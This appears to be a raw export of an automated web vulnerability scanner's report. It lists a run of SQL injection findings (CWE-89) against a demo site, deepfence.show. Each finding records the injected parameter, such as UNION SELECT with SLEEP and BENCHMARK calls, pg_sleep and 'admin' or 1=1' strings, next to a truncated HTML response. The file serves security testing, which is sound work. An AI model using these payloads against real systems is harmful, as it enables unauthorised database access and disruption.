BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1637
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1638
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1)) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1639
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " OR "" = "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1640
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),3,4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1641
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1642
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or 1=1/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1643
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1644
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1645
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1646
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1647Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1648
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1649
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1650
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1651
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
